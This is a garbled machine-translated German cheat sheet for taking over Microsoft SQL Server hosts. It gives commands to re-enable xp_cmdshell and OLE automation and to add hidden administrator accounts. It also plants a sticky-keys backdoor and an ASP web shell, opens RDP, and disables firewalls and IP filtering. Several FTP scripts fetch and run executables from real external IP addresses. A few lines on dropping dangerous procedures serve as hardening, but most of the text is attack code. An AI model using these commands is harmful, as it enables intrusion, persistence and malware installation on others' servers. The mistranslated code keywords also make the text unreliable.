Reparaturaufträge von 1433
netuser SQLDebugger-Liste /add net-Localgroup-Administratoren SQLDebugger /add
Fehlermeldung: Gespeicherte Prozedur 'master.. konnte nicht gefunden werden.. xp_cmdshell'。
Reparaturmethode: sehr allgemein, tatsächlich können die anderen 126 127 zusammen repariert werden,
Außer xplog70.dll alles andere mit diesem Befehl behoben werden kann.
xp_cmdshell neue Wiederherstellungsmethoden Schritt 1: Löschen: Drop-Verfahren sp_addextendedproc Abwurfverfahren sp_oacreate Exec sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, Level 11, Zustand 5, Zeile 1 Es ist nicht möglich, den Prozess 'sp_addextendedproc' zu entfernen, da er im Systemverzeichnis nicht existiert. Server: Msg 3701, Level 11, Zustand 5, Prozedur sp_dropextendedproc, Zeile 18 Es ist nicht möglich, den Prozess 'xp_cmdshell' zu entfernen, da er im Systemverzeichnis nicht existiert. Schritt 2 Genesung: dbcc addendedproc ("sp_oacreate", "odsole70.dll") dbcc addendedproc ("xp_cmdshell", "xplog70.dll") Direkte Wiederherstellung, unabhängig davon, ob sp_addextendedproc existiert oder nicht
xplog70.dll Lösungen:
Fehlermeldung: Die DLL-xplog70.dll oder eine der von der DLL referenzierten DLLs konnte nicht gemountet werden. Begründung: 126 (Das angegebene Modul kann nicht gefunden werden.) )。
Beheben XPLOG70.DLL (zuerst das Backup-Verzeichnis \x86\bin mit der Datei überprüfen und dann das folgende Verzeichnis ersetzen)
Schritt 1 Exec sp_dropextendedproc 'xp_cmdshell' Schritt 2 DBCC AddExtendedProc ("xp_cmdshell","C:\SQL2KSP4\x86\Binn\xplog70.dll")
Ich konnte das gespeicherte Verfahren 'Master.. nicht finden' xp_cmdshell'。 Schritt 1: Verfahren erstellen sp_addextendedproc --- 30.08.1996 20:13 @functname nvarchar(517),/* (Besitzer.) Name der zu aufrufenden Funktion
*/ @dllname varchar(255)/* Name der DLL, die Funktion */ enthält als Lass implicit_transactions los. wenn @@trancount > 0 Beginnen raiserror(15002,-1,-1,'sp_addextendedproc') Rückkehr (1) Ende dbcc addendedproc( @functname, @dllname) Rückkehr (0) -- sp_addextendedproc LOS
Schritt 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server blockierte den Zugriff auf den Prozess 'sys.xp_cmdshell' der Komponente 'xp_cmdshell', weil diese Komponente im Rahmen der Sicherheitskonfiguration für diesen Server abgeschaltet wurde. Systemadministratoren können 'xp_cmdshell' durch sp_configure aktivieren. Weitere Informationen zur Aktivierung xp_cmdshell finden Sie unter Peripheral App Configurator in der SQL Server Online Books-Reihe.
; EXEC sp_configure 'erweiterte Optionen anzeigen', 1 -- ; MIT ÜBERSCHREIBUNG NEU KONFIGURIEREN – ; EXEC sp_configure 'xp_cmdshell', 1 -- ; MIT ÜBERSCHREIBUNG NEU KONFIGURIEREN – ; EXEC sp_configure 'erweiterte Optionen anzeigen', 0 --
SQL Dangerous Storage entfernen: ABBRUCHVERFAHREN sp_makewebtask Exec Master.. sp_dropextendedproc xp_cmdshell Exec Master.. sp_dropextendedproc xp_dirtree Exec Master.. sp_dropextendedproc xp_fileexist Exec Master.. sp_dropextendedproc xp_terminate_process Exec Master.. sp_dropextendedproc sp_oamethod Exec Master.. sp_dropextendedproc sp_oacreate Exec Master.. sp_dropextendedproc xp_regaddmultistring Exec Master.. sp_dropextendedproc xp_regdeletekey Exec Master.. sp_dropextendedproc xp_regdeletevalue Exec Master.. sp_dropextendedproc xp_regenumkeys Exec Master.. sp_dropextendedproc xp_regenumvalues Exec Master.. sp_dropextendedproc sp_add_job Exec Master.. sp_dropextendedproc sp_addtask Exec Master.. sp_dropextendedproc xp_regread Exec Master.. sp_dropextendedproc xp_regwrite Exec Master.. sp_dropextendedproc xp_readwebtask Exec Master.. sp_dropextendedproc xp_makewebtask Exec Master.. sp_dropextendedproc xp_regremovemultistring Exec Master.. sp_dropextendedproc sp_OACreate ABWURFVERFAHREN sp_addextendedproc
Wiederherstellen erweiterter gespeicherter Prozeduren Stellen Sie die sp_addextendedproc zuerst wieder her, die Aussage lautet wie folgt: Erstens: Verfahren erstellen sp_addextendedproc --- 30.08.1996 20:13 @functname nvarchar(517),/* (Besitzer.) Name der zu rufenden Funktion */ @dllname varchar(255)/* Name der DLL, die Funktion */ als Lass implicit_transactions los. wenn @@trancount > 0 Beginnen raiserror(15002,-1,-1,'sp_addextendedproc') Rückkehr (1) Ende dbcc addendedproc( @functname, @dllname) Rückkehr (0) -- sp_addextendedproc LOS
Zweitens: Verwenden Sie Master Exec sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' Exec sp_addextendedproc xp_dirtree, 'xpstar.dll' Exec sp_addextendedproc xp_enumgroups, 'xplog70.dll' Exec sp_addextendedproc xp_fixeddrives, 'xpstar.dll' Geschäftsführer sp_addextendedproc xp_loginconfig, 'xplog70.dll' Exec sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll' Exec sp_addextendedproc xp_getfiledetails, 'xpstar.dll' Exec sp_addextendedproc sp_OACreate, 'odsole70.dll' Exec sp_addextendedproc sp_OADestroy, 'odsole70.dll' Exec sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' Exec sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' Exec sp_addextendedproc sp_OAMethod, 'odsole70.dll' Exec sp_addextendedproc sp_OASetProperty, 'odsole70.dll' Exec sp_addextendedproc sp_OAStop, 'odsole70.dll' Exec sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Exec sp_addextendedproc xp_regdeletekey, 'xpstar.dll' Exec sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Exec sp_addextendedproc xp_regenumvalues, 'xpstar.dll' Exec sp_addextendedproc xp_regread, 'xpstar.dll' Exec sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Exec sp_addextendedproc xp_regwrite, 'xpstar.dll' Exec sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Löschen Sie die Anweisung, die die gespeicherte Prozedur erweitert, xp_cmdshell: Exec sp_dropextendedproc 'xp_cmdshell'
Wiederherstellen Sie die SQL-Anweisung von cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Öffne die cmdshell SQL-Anweisung exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Bestimmen Sie, ob eine Speichererweiterung existiert Wählen Sie Count(*) aus master.dbo.sysobjects aus, wobei xtype='x' und name='xp_cmdshell' Das Rückgabeergebnis ist 1 und es ist in Ordnung
Stellen Sie xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Wählen Sie Count(*) aus master.dbo.sysobjects aus, wobei xtype='x' und name='xp_cmdshell' Das Rückgabeergebnis ist 1 und es ist in Ordnung Ansonsten lade xplog7.0.dll hoch exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blockiere die SQL-Anweisung von cmdshell sp_dropextendedproc "xp_cmdshell
Eins. Änderung der SA-Passwortmethode: Nachdem Sie sich mit dem SQL Comprehensive Utilization Tool verbunden haben, führen Sie den Befehl aus: exec sp_password NULL, 'neues Passwort', 'sa' (Tipp: Vorsicht verwenden!)
Zwei. Einfach das schwache Passwort patchen.
Methode 1: Abfrage des Splitters nach der Verbindung: wenn existiert (wählen * aus dbo.sysobjects bei dem id = object_id(N'[dbo].[ xp_cmdshell]') und OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
Exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
LOS Drücke dann die F5-Taste, um den Befehl auszuführen
Methode 2: Abfrage nach dem Anschluss des Splitters Der erste Schritt ist die Ausführung: Master verwenden Schritt 2: sp_dropextendedproc 'xp_cmdshell' Drücke dann die F5-Taste, um den Befehl auszuführen
Das DLL-xpsql70.dll oder eines der von der DLL referenzierten DLLs kann nicht gemountet werden. Grund 126 (Das angegebene Modul kann nicht gefunden werden. ) Wiederherstellungsmethode: Nach Abfrage der Splitterverbindung, Schritt 1: sp_dropextendedproc "xp_cmdshell" Schritt 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Die Funktion xp_cmdshell ist in der Bibliothek xpweb70.dll nicht zu finden. Begründung: 127 (Das angegebene Programm kann nicht gefunden werden.) ) Wiederherstellungsmethode: Nach Abfrage der Splitterverbindung, Schritt 1 Umsetzung: Exec sp_dropextendedproc 'xp_cmdshell' Schritt 2: Executive sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Drücke dann die F5-Taste, um den Befehl auszuführen
Wenn keine der oben genannten Methoden wiederherstellbar ist, versuchen Sie bitte, das Konto direkt mit den folgenden Methoden hinzuzufügen: Nach Abfrage der Splitterverbindung, 2000servser-System: Declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net-user Webhacker /add'
Declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP- oder 2003Server System: Fehler 126! Bestellung
Deklariere @shell INT Exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
Declare @shell int exec sp_oacreate 'wscrip remove t.shell' @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server blockierte den Zugriff auf den Prozess 'sys.xp_cmdshell' der Komponente 'xp_cmdshell', weil diese Komponente im Rahmen der Sicherheitskonfiguration für diesen Server abgeschaltet wurde. Systemadministratoren können 'xp_cmdshell' durch sp_configure aktivieren. Weitere Informationen zur Aktivierung xp_cmdshell finden Sie unter Peripheral App Configurator in der SQL Server Online Books-Reihe.
Vom Analysator ausgeführte Anweisungen:
EXEC sp_configure 'erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; EXEC sp_configure 'xp_cmdshell', 1; UMKONFIGURIEREN;
Manchmal kann das gespeicherte Verfahren beim Ausführen der obigen Anweisungen mit einer Query-Detacher-Verbindung nicht sp_addextendedproc
Workaround:
Verfahren erstellen sp_addextendedproc --- 30.08.1996 20:13 @functname nvarchar(517),/* (Besitzer.) Name der Funktion zu rufen */ @dllname varchar(255)/* Name der DLL, die Funktion */ enthält als Lass implicit_transactions los. wenn @@trancount > 0 Beginnen raiserror(15002,-1,-1,'sp_addextendedproc') Rückkehr (1) Ende dbcc addendedproc( @functname, @dllname) Rückkehr (0) -- sp_addextendedproc LOS Dieser Code wird in den Abfragesplitter eingefügt und ausgeführt
Explorer:
c:\windows\explorer.exe
Sehen Sie sich das Inhaltsverzeichnis an Exec master.dbo.xp_subdirs 'C:\' Listen-Disks Exec Master.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Wählen Sie * aus OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Datenbank=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Wählen Sie * aus OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Datenbank=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Version 5.00 >3389.reg Echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Aktiviert"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. DEFAULT\Tastaturlayout\Umschalter] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Pass 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Schau dir Port 3389 an
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Normale CMD-Hintertür xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K geht direkt zu PS Mar Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo tschüss>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP direkt auf PS-Pferden Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo tschüss>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Verschiebe den Backdoor-Befehl Declare @o int exec sp_oacreate 'scrip remove ting.filesystemobject' @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
Declare @o int exec sp_oacreate 'scrip remove ting.filesystemobject' @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Kopiere C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Kopiere C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
Declare @o int Manager sp_oacreate 'wscrip remove t.shell', @o raus exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX ist der Befehl, den du ausführen möchtest
Schreibe den im im Registry angegebenen Schlüssel angegebenen Wert) mit der Methode (schreibe bbb in den Schlüssel HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC-Meister.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo öffne 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo hol gzn.exe>>c:\bin.txt&@echo tschüss>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Zuerst kopiere ftp.exe ins wmpub-Verzeichnis @echo CD c:\wmpub\>c:\wmpub in.bat\&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL schreibt einen Satz exec master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
SA Sandbox Mode Promotion ----- ---------------------- Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Wählen Sie * aus OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Datenbank=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Wählen Sie * aus OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Datenbank=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389 SCHICHT
Der verwendete Satz: Invasion EXEC-Meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Genesung EXEC-Meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Bildkaperung
EXEC-Meister.. xp_regwrite --- das ist Registry Editing! @rootkey='HKEY_LOCAL_MACHINE', ---Das ist die Position! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Das ist auch die Position! @value_name='Debugger', --- das ist der Name des Tisches! @type='REG_SZ', --- hier ist die Bedeutung des Schreibens! @value='C:\WINDOWS\explorer.exe' ---- hier ist der schriftliche Inhalt!
Der gesamte Prozess besteht darin, Master zu verwenden: xp_regwrite diese Komponente erledigt ist,
1.sql Befehl, um abzufragen, ob der Registry-Sticky-Schlüssel gekapert wurde
Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql Befehl kapert die Registry-Sticky-Key-Funktion und ersetzt sie durch den Task-Manager (natürlich kannst du sie durch andere gewünschte Befehle ersetzen).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql Befehl zur Entfernung der Entführungsfunktion des Registry-Sticky-Schlüssels schützt deinen Server davor, von anderen ausgenutzt zu werden
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQL-Schreibdateien
Declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject' @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skripte ohne NET-Eskalation
struser=wscrip zum Entfernen von t.arguments(0) strpass=wscrip zum Entfernen von t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Add(of). ADsPath)
Für jeden Administrator in OE. Mitglieder Wenn Struser=Admin. Namen dann Wscrip entfernte t.echo struser und "Erfolgreich etabliert!" wscrip zur Entfernung von T.Quit Ende, wenn Nächster
Wscrip t.echo struser entfernen & "Benutzereinrichtung fehlgeschlagen!" Speichere das oben Genannte als Nutzer. VBS-Datei Dann führe ich cscrip aus, um das Benutzerpasswort user.vbs zu entfernen
Mit dem JET-Sandbox-Modus können Sie die Probleme lösen, die durch gespeicherte Prozeduren wie XP_cmdshell und verwandte dynamische Linkbibliotheken entstehen. Aus Sicherheitsgründen aktiviert das System standardmäßig nicht den Sandbox-Modus, der xp_regwrite erfordert, den Sandbox-Modus einzuschalten:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
Führen Sie dann den Sandbox-Befehl aus, um einen benutzerbenannten Test mit Passwort 1234 zum System hinzuzufügen:
Select * from openrowset('microsoft.jet.oledb.4.0','; Datenbank=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c NET User Test 1234 /add")')
Select * from openrowset('microsoft.jet.oledb.4.0','; Datenbank=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup" Administratoren testen /add")')
Verschiedene Betriebssysteme haben unterschiedliche Pfade und müssen je nach Situation angepasst werden:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Außerdem sind in Microsoft SQL Server 2005 einige gespeicherte Prozeduren standardmäßig geschlossen und erfordern Befehle, die geöffnet werden:
Schalten Sie XP_cmdshell ein:
EXEC sp_configure 'erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; EXEC sp_configure 'xp_cmdshell', 1; UMKONFIGURIEREN;
Öffnen Sie 'OPENROWSET':
Exec sp_configure 'Erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; Exec sp_configure 'ad hoc verteilte Anfragen',1; UMKONFIGURIEREN;
Schalten Sie 'sp_oacreate' ein:
Exec sp_configure 'Erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; Exec sp_configure 'Ole Automatisierungsverfahren',1; UMKONFIGURIEREN;
Hier sind einige Situationen, in denen der Ausführungsbefehl unter SA falsch ist: 1. Die DLL xpsql70.dll oder eine von der DLL referenzierte DLL kann nicht geladen werden. Grund 126 (Das angegebene Modul kann nicht gefunden werden. ) Diese Situation ist relativ häufig, und die Reparatur ist einfach und unkompliziert, aber es gibt Bedingungen. Wenn du das Verzeichnis in diesem Fall auflisten kannst (mit sqltools v2.0 gibt es eine Verzeichnisfunktion), kann Glückwunsch zu dieser 80%-Situation behoben werden. Wenn du das Verzeichnis auflisten kannst, finde einfach den xplog70.dll Pfad und führst den folgenden Befehl aus. Schritt 1 exec sp_dropextendedproc 'xp_cmdshell' (dieser Befehl soll die ursprüngliche CMDSHELL löschen, weil sie bereits schiefgelaufen ist) Schritt 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'erweiterte Optionen anzeigen', 0 – Natürlich handelt es sich dabei um einen SQL-Befehl, der mit einem Abfrageanalysator ausgeführt wird. Der c:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll Binn\ im zweiten Schritt ist der Pfad des xplog70.dll, dieser Pfad ist relativ häufig; wenn das C-Laufwerk ihn nicht hat, findest du andere Laufwerksbuchstaben. 2. Die Funktion xp_cmdshell in der Bibliothek xpweb70.dll nicht gefunden. Begründung: 127 (Das angegebene Programm kann nicht gefunden werden.) ) Tatsächlich ist das dasselbe wie die oben genannten 126, das heißt, die CMDSHELL ist falsch, solange du das Backup findest xplog70.dll die oben genannte Methode befolgst, um es zu beheben. 3. Das gespeicherte Verfahren 'Master' wurde nicht gefunden. xpcmdshell' In diesem Fall sehe ich im Internet, dass die Methode folgt: Schritt 1: Löschen: Drop-Verfahren sp_addextendedproc Abwurfverfahren sp_oacreate Exec sp_dropextendedproc 'xp_cmdshell' Schritt 2 Genesung: dbcc addendedproc ("sp_oacreate", "odsole70.dll") dbcc addendedproc ("xp_cmdshell", "xplog70.dll") Tatsächlich ist das immer noch dasselbe wie oben, und wenn Sie vorsichtig sind, werden die oben genannten 126 127 nur nicht das gespeicherte Verfahren 'master:. finden. xpcmdshell', weil der erste Schritt darin besteht, das gespeicherte Verfahren von cmdshell zu löschen. In diesem Fall folgen Sie also einfach dem zweiten Schritt oben. 4. Fehlermeldung: SQL Server blockierte den Zugriff auf den Prozess 'sys.xp_cmdshell' der Komponente 'xp_cmdshell', weil diese Komponente im Rahmen der Sicherheitskonfiguration dieses Servers abgeschaltet wurde. Systemadministratoren können 'xp_cmdshell' durch sp_configure aktivieren. Weitere Informationen zur Aktivierung xp_cmdshell finden Sie unter Peripheral App Configurator in der SQL Server Online Books-Reihe. Diese Situation ist am einfachsten, weil du an nichts nachdenken musst, sondern einfach den folgenden Befehl ausführen musst ; EXEC sp_configure 'erweiterte Optionen anzeigen', 1 -- ; MIT ÜBERSCHREIBUNG NEU KONFIGURIEREN – ; EXEC sp_configure 'xp_cmdshell', 1 -- ; MIT ÜBERSCHREIBUNG NEU KONFIGURIEREN – ; EXEC sp_configure 'erweiterte Optionen anzeigen', 0 –
Nach der obigen Lösung kannst du den CMD-Befehl ausführen und beginnst, deine Stärke zu erhöhen. Ich überprüfe normalerweise zuerst die IP, ob es sich um ein Intranet handelt, und frage dann HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp/v PortNumber" an, um den Terminalport zu überprüfen, dann netstat –an, um zu sehen, ob das Terminal offen ist, und dann das Netzbenutzer-Passwort / Fügen Sie einen Benutzer hinzu und dann Netz Localgroup Administrators User /Add Wenn alles gut läuft, wird dadurch ein Server lahmgelegt. Aber es gibt viele Probleme im Prozess. 1. Die Netto-Leistungsförderung ist erfolgreich, kann aber keine Verbindung zum Terminal herstellen. Es gibt folgende Situationen (1) Der Server befindet sich im Intranet. (2) TCP/IP-Screening. Führe zuerst den folgenden CMD-Befehl aus: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exportiere den ersten Teil der Registry für TCP/IP-Filterung cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exportiere den zweiten Teil der Registry für TCP/IP-Filterung cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", und exportiert damit den dritten Platz in der Registry bezüglich TCP/IP-Filterung Geh dann zurück zum C-Laufwerk 1.reg, 2.reg, 3.reg, lade die 1.reg, 2.reg herunter und 3.reg zurück auf deine Festplatte zum Bearbeiten, suche das Feld EnableSecurityFilters, um zu sehen, ob der Schlüsselwert nach dem dword 00000000 ist; wenn es 00000001 ist, bedeutet das, dass der Administrator tcp/ip-Filterung durchgeführt hat, wir müssen nur 1 auf 0 und 2 ändern. Reg und 3.reg nehmen dieselben Änderungen vor. (3) Erstellen Sie eine IP-Sicherheitspolitik. Führen Sie den Befehl cmd: cmd /c net stop policyagent aus, um den IPSEC Services-Dienst zu stoppen. Verbinde das Terminal erneut. (4) Die Anmeldeberechtigung des vom Administrator festgelegten Terminals kann nur vom angegebenen Benutzer verwendet werden. (5) Firewall. Führe den cmd-Befehl aus: net stop alg /ynet stop sharedaccess
2. Eine NET-Eskalation tritt auf und der Zugang wird verweigert Du kannst das Net1-Benutzerpasswort /add ausprobieren. Wenn net1 auch den Zugriff verweigert, kannst du eine shfit-Backdoor kopieren und versuchen, den cmd-Befehl auszuführen: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Kopiere C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe Wenn du aufgefordert wirst, kopiere eine Datei, was erfolgreich ist. Verbinde dich mit dem Terminal und drücke 5 Shift, um zu sehen, was angezeigt wird. Spiele mit Kaka Explorer und füge jetzt einfach einen Benutzer von Hand hinzu. 3. Netto-Eskalation erfolgt mit Zugriffsverweigerungsfehler 5 (hervorheben) In diesem Fall musst du net1 nicht ausprobieren, du kannst den Copy Shift Backdoor ausprobieren; wenn die Kopie auffordert, die 0-Datei zu kopieren, beweist das, dass sie nicht erfolgreich ist. Dann kannst du versuchen, es hochzuladen; wenn du es hochladen kannst, kannst du direkt ein nicht-netzbasiertes Power-Escalation-Tool schicken, das vor einiger Zeit erschienen ist, und dann einen Nutzer hinzufügen. Aber die meisten dieser Fälle können nicht hochgeladen werden, daher muss man darüber nachdenken. Da cmd ausgeführt werden kann, kann die Datei über cmd unter ftp heruntergeladen werden, aber die Prämisse von ftp ist es, Text schreiben oder Batch verarbeiten zu können. Dann kannst du einen Text schreiben oder eine SQL-Anweisung batchen. Declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject' @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp account' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 